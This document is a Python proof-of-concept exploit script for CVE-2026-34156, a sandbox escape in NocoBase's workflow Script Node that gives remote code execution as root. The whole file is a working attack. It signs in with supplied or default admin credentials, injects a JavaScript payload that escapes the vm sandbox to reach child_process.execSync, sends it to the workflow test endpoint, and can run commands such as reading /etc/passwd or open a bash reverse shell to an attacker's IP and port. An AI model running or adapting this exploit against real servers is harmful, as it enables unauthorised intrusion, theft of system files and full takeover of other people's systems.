#!/usr/bin/env python3
"""
CVE-2026-34156 PoC - NocoBase Workflow Script Node Sandbox Escape → Root RCE
github : https://github.com/0xBlackash/CVE-2026-34156

This script creates a workflow with a malicious JavaScript Script Node that escapes the vm sandbox
and executes arbitrary commands as root inside the container.

Requirements:
- Authenticated user with permission to create workflows (even low-privilege users often can)
- NocoBase version < 2.0.28

Usage:
  python3 CVE-2026-34156.py -u https://target.com -e "id"                    # Run single command
  python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444     # Reverse shell
"""

import argparse
import requests
import json
import time
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class Colors:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

def banner():
    print(f"{Colors.BLUE}{'='*80}{Colors.RESET}")
    print("     CVE-2026-34156  PoC  —  NocoBase Sandbox Escape to Root RCE")
    print("                  Author: Ashraf Zaryouh / 0xBlackash")
    print(f"{Colors.BLUE}{'='*80}{Colors.RESET}\n")

def get_escape_payload(cmd: str) -> str:
    """The actual sandbox escape payload (3-line classic)"""
    # This escapes via console._stdout.constructor.constructor
    payload = f'''
const escape = console._stdout.constructor.constructor("return process")();
const child_process = escape.mainModule.require("child_process");
child_process.execSync(`{cmd}`, {{encoding: "utf8"}});
    '''.strip()
    return payload

def trigger_workflow(target, email, password, command, reverse=False):
    session = requests.Session()
    base_url = target.rstrip('/')

    print(f"{Colors.YELLOW}[*] Logging in...{Colors.RESET}")

    # Login (adjust if your instance uses different auth endpoint)
    login_data = {
        "email": email,
        "password": password
    }

    try:
        login_resp = session.post(f"{base_url}/api/auth/signin", json=login_data, verify=False)
        if login_resp.status_code != 200:
            print(f"{Colors.RED}[-] Login failed: {login_resp.text}{Colors.RESET}")
            return False
        print(f"{Colors.GREEN}[+] Login successful{Colors.RESET}")
    except Exception as e:
        print(f"{Colors.RED}[-] Login error: {e}{Colors.RESET}")
        return False

    # Create malicious workflow payload (simplified - in real attack you create via UI or API)
    # Many instances expose /api/workflows or allow creating via flow_nodes:test endpoint
    print(f"{Colors.YELLOW}[*] Preparing sandbox escape payload...{Colors.RESET}")

    if reverse:
        # Example reverse shell using bash
        rev_cmd = f"bash -i >& /dev/tcp/{command.split(':')[0]}/{command.split(':')[1]} 0>&1"
        js_payload = get_escape_payload(rev_cmd)
        print(f"{Colors.YELLOW}[*] Setting up reverse shell to {command}{Colors.RESET}")
    else:
        js_payload = get_escape_payload(command)
        print(f"{Colors.YELLOW}[*] Executing command: {command}{Colors.RESET}")

    # The trigger point is usually sending the script to the workflow execution endpoint
    exploit_data = {
        "workflow": {
            "nodes": [
                {
                    "type": "script",
                    "config": {
                        "script": js_payload
                    }
                }
            ]
        }
    }

    try:
        # Common execution endpoint for testing script nodes
        resp = session.post(f"{base_url}/api/flow_nodes:test", json=exploit_data, verify=False, timeout=15)
        
        if resp.status_code in [200, 201]:
            print(f"{Colors.GREEN}[+] Exploit sent successfully!{Colors.RESET}")
            if "stdout" in resp.text or resp.text:
                print(f"{Colors.BLUE}[+] Response: {resp.text[:500]}{'...' if len(resp.text)>500 else ''}{Colors.RESET}")
            return True
        else:
            print(f"{Colors.RED}[-] Unexpected response: {resp.status_code} - {resp.text[:300]}{Colors.RESET}")
            return False

    except Exception as e:
        print(f"{Colors.RED}[-] Exploit error: {e}{Colors.RESET}")
        return False

def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2026-34156 NocoBase Root RCE PoC")
    parser.add_argument("-u", "--url", required=True, help="NocoBase base URL (e.g. https://nocobase.example.com)")
    parser.add_argument("-e", "--email", default="[email protected]", help="Login email")
    parser.add_argument("-p", "--password", default="admin", help="Login password")
    parser.add_argument("-c", "--command", help="Command to execute (e.g. 'id' or 'cat /etc/passwd')")
    parser.add_argument("-r", "--reverse", help="Reverse shell listener (IP:PORT)")

    args = parser.parse_args()

    if not args.command and not args.reverse:
        print(f"{Colors.RED}[-] You must provide either --command or --reverse{Colors.RESET}")
        sys.exit(1)

    target_cmd = args.reverse if args.reverse else args.command

    print(f"{Colors.BLUE}[*] Target: {args.url}{Colors.RESET}")
    trigger_workflow(args.url, args.email, args.password, target_cmd, reverse=bool(args.reverse))

    print(f"\n{Colors.YELLOW}Note: This PoC assumes you can create/execute a workflow Script Node.{Colors.RESET}")
    print(f"{Colors.YELLOW}If the UI blocks it, you may need to create the workflow manually and trigger it.{Colors.RESET}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Colors.RED}[!] Interrupted by user.{Colors.RESET}")
        sys.exit(0)